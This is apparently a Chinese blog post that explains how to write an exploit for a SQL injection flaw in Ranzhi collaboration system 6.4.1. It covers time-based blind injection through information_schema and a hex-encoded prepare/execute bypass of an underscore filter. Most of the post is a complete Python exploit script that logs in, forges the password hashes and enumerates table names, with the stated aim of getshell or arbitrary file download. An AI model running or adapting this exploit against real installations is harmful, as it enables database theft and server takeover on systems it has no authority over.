然之协同系统6.4.1 SQL注入之exp编写
前言
前面已经说明了 漏洞成因,这里介绍一下 exp 的编写。
正文
为了 getshell 或者是 任意文件下载, 我们需要修改 数据库中的 前缀sys_file 表, 所以我们的利用方式如下
- 使用
sql注入 获取程序数据库中任何一个表名, 取得前缀pre - 然后向
presys_file中插入目标路径。
在 mysql 5 中可以使用 information_schema 来获取指定数据库中的表。

在 information_schema 中的 tables 表里面存放着整个 mysql 里面保存的表的信息, table_schema 为 表所在的数据库, table_name 为表名。
所以使用
SELECT table_name FROM information_schema.tables where table_schema=database()
就可以得到 当前数据库的 所有表的表名(database() 返回当前的数据库名称)。

由于没有回显,需要使用一些 条件判断 相关的函数,这里我使用 if
select if(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables where table_schema=database() LIMIT 0,1) ,1 ,1))=16, SLEEP(3), 1)
if 的第一参数为 1 则返回第二个参数的值,否则返回 第3个参数的值.
上面的语句用到了子查询和 acsii, substr 来对检索到的结果根据其 ascii 值进行枚举,如果枚举到了,就 sleep(3)。
我们可以通过判断服务器的响应时间,来判断当前枚举位的具体值。
同时子查询只允许返回一行,所以使用 了 limit 0,1 来只返回第一条结果。
枚举表名的关键代码如下
table_name = ""
for i in range(1, table_len + 1):
for j in range(1, 129):
payload = get_payload_encode(
'''select if(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables where table_schema=database() LIMIT 0,1) ,{} ,1))={}, SLEEP(3), 1);'''.format(
i, j))
start = time.time()
requests.get(host)
nor_time = (time.time() - start)
start = time.time()
requests.get(target + payload.decode("utf-8"), headers=headers, cookies=cookies)
att_time = (time.time() - start)
if att_time - nor_time > 2:
table_name += chr(j)
print(table_name)
break
还有一个注意的就是,程序过滤了 _, 这里使用 prepare 和 execute 组合进行绕过,因为 mysql 支持字符串使用 16 进制编码输入。
def get_payload_encode(payload):
sql = "set @query=0x{};prepare stmt from @query;execute stmt;".format(binascii.b2a_hex(payload.encode("utf-8")).decode("utf-8"))
raw = {"orderBy": "id limit 0,1;{}#".format(sql)}
raw = json.dumps(raw)
return base64.b64encode(raw.encode("utf-8")) # str---> byte 用 encode
最后的 exp:
# coding=utf-8
import requests
import base64
import time
import json
import binascii
import re
import hashlib
import chardet
def get_md5(input):
input = input.encode("utf-8")
m = hashlib.md5()
m.update(input)
return m.hexdigest()
def get_payload_encode(payload):
sql = "set @query=0x{};prepare stmt from @query;execute stmt;".format(binascii.b2a_hex(payload.encode("utf-8")).decode("utf-8"))
raw = {"orderBy": "id limit 0,1;{}#".format(sql)}
raw = json.dumps(raw)
return base64.b64encode(raw.encode("utf-8")) # str---> byte 用 encode
# get_db_name(host)
def get_table_name(host):
path = "/cash/block-printTradeBlock.html?param="
target = host + path
# 查表名
table_len = 0
for i in range(1, 100):
payload = get_payload_encode(
'''select if((SELECT LENGTH(table_name)FROM information_schema.tables where table_schema=database() LIMIT 0,1)={}, SLEEP(3), 1);'''.format(
i))
start = time.time()
requests.get(host)
nor_time = (time.time() - start)
start = time.time()
requests.get(target + payload.decode("utf-8"), headers=headers, cookies=cookies)
att_time = (time.time() - start)
if att_time - nor_time > 2:
table_len = i
break
print("db_len: %d" %(table_len))
table_name = ""
for i in range(1, table_len + 1):
for j in range(1, 129):
payload = get_payload_encode(
'''select if(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables where table_schema=database() LIMIT 0,1) ,{} ,1))={}, SLEEP(3), 1);'''.format(
i, j))
start = time.time()
requests.get(host)
nor_time = (time.time() - start)
start = time.time()
requests.get(target + payload.decode("utf-8"), headers=headers, cookies=cookies)
att_time = (time.time() - start)
if att_time - nor_time > 2:
table_name += chr(j)
print(table_name)
break
def login(url, username , password):
target = url + "/sys/user-login.html"
data = {"account": "admin", "password": "d4dba0bc2f7e946feaeacbdcdc167131",
"referer": "http://hack.ranzhi.top/sys/index.html", "rawPassword": "21232f297a57a5a743894a0e4a801fc3",
"keepLogin": "false"}
res = requests.get(target, headers=headers)
cookies['rid'] = res.cookies['rid']
random = re.findall('v\.random = "(.*?)";', res.text)[0]
# 生成登录需要的数据
data['account'] = username
data['referer'] = target
data['rawPassword'] = get_md5(password)
data['password'] = get_md5(get_md5(get_md5(password) + username) + random)
res = requests.post(target, headers=headers, cookies=cookies, data=data)
if "self.location" in res.content.decode("utf-8"):
print("登录成功,下面开始 exploit")
else:
print("登录失败")
exit(0)
if __name__ == '__main__':
proxies = {"http": "http://127.0.0.1:8080", "https": "https://127.0.0.1:8080", }
cookies = {"lang": "zh-cn", "theme": "default", "keepLogin": "false", "rid": "6n6panbh36uqiqj4k5o0nbscq2",
" XDEBUG_SESSION": "19857"}
headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
"Referer": "http://hack.ranzhi.top/sys/index.php", "Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
host = "http://hack.ranzhi.top:80/"
# get_table_name(host)
login(host, "test", "111111")
get_table_name(host)
然之协同系统6.4.1 SQL注入之exp编写的更多相关文章
- 然之协同系统6.4.1 SQL注入导致getshell
前言 先知上一个大佬挖的洞,也有了简单的分析 https://xianzhi.aliyun.com/forum/topic/2135 我自己复现分析过程,漏洞的原理比较简单,但是漏洞的利用方式对我而 ...
- [代码审计]某租车系统JAVA代码审计[前台sql注入]
0x00 前言 艰难徘徊这么久,终于迈出第一步,畏畏缩缩是阻碍大多数人前进的绊脚石,共勉. 系统是租车系统,这个系统是Adog师傅之前发在freebuf(http://www.freebuf.com/ ...
- SQL注入问题------JDBC编写简单登录代码
一.什么是sql注入 sql注入:用户输入的内容, 有一些sql的特殊关键字参与字符串的拼接,完成了一条逻辑发生变化的新的SQL语句 !用代码举个例子简单说明一下: package cn.zhbit. ...
- PHPCMS V9.6.0 SQL注入漏洞EXP
运行于python3.5 import requests import time import re import sys def banner(): msg = '''--------------E ...
- SQL注入专题
SQL注入专题--整理帖 SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别, 所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被 ...
- 了解SQL注入攻击
SQL注入:利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,这是SQL注入的标准释义. 随着B/S模式被广泛的应用,用这种模式编写应用程序的程序员也越来越多,但由于开发人员的水 ...
- 深入浅出SQL注入
原文:深入浅出SQL注入 之前在做学生信息管理系统和机房收费系统的时候,对于SQL注入的问题已经是司空见惯,但是并没有真正的地形象生动的理解SQL注入到底是什么玩意儿.直到这次做牛腩才在牛老师的举例之 ...
- SQL注入原理及绕过安全狗
1.什么是SQL注入攻击 SQL注入攻击指的是通过构造特殊的输入作为参数插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令 http://www.xxx.com/list. ...
- 安全测试之sql注入
不管是web界面还是app,都会涉及表单输入和提交,如果程序员没有对提交的字符进行过滤或者特殊处理,很容易会产生问题,这里讲的的sql注入就是其中一种方式,在表单中输入sql语句达到进入系统的目的. ...
随机推荐
- 通过js获取内网ip和外网ip的简单方法 ...
今天遇到了一个需求,需要获取用户当前的内网ip, 找了半天终于找到了方法,遂将找到的方法记录下来,留给需要的人. 1,获取内网ip function getIP(callback) { let rec ...
- [转] Java中Comparator进行对象排序
[From] https://blog.51cto.com/thinklili/2063244 Java在8后引入了lambda表达式和流,使得排序方法有了变化 class User { int id ...
- CSS外边距合并&块格式上下文
前言问题Margin Collapsing 外边距合并Block Formatting Context 块格式化上下文解决方案参考 前言 之前在前端开发的过程中,都没有遇到外边距合并的问题(其实是因为 ...
- Mac 10.12安装图片切换工具ArcSoft Photo+
说明:Mac自带的图片切换不能连续切换,这款工具和美图看看差不多. 下载: (链接: https://pan.baidu.com/s/1i5rLYzr 密码: 49dp)
- 为apache提供sftp文件传输服务
一.安装apache yum install httpd 二.为 /var/www/html 创建ftp账号www useradd -M -d /var/www/html www 三.更改ssh配置文 ...
- redis 数据库迁移
老大让把 一台机器上 redis 中所有的数据,迁移到另一台机器上 查了一下可以拷贝 rdb 文件, 此方法只适用于迁移到一个新的库, 迁移到正在使用的库就不行了, 而且 rdb 里面是所有的 db, ...
- R语言常用命令集合
help.start()//打开帮助文档 q()//推出函数 ls()//返回处于现在名空间的对象名称 rm()//清楚对象:rm(list=ls())清除所有内存数据 gc()//垃圾回收数据 sq ...
- Flume1.6.0搭建
下载地址:http://archive.apache.org/dist/flume/ 解压完毕 切换到安装目录下/usr/local/flume/apache-flume-1.6.0-bin/conf ...
- unity多线程
多线程概念 多线程,是指实现多个线程并发执行的技术,合理利用多线程可以提升程序的性能,在unity中,一般是避免使用多线程的,unity对多线程的支持并不友好. 协程概念 协程,是指在主线程运行时开启 ...
- java 基础 --- 动态代理和静态代理
问题 : 代理的应用场景是什么 动态代理的底层原理是什么,为什么只能继承接口 概述 代理模式是设计模式的一种,简单地说就是调用代理类的方法实际就是调用真实类的方法.这种模式在AOP (切面编程)中非 ...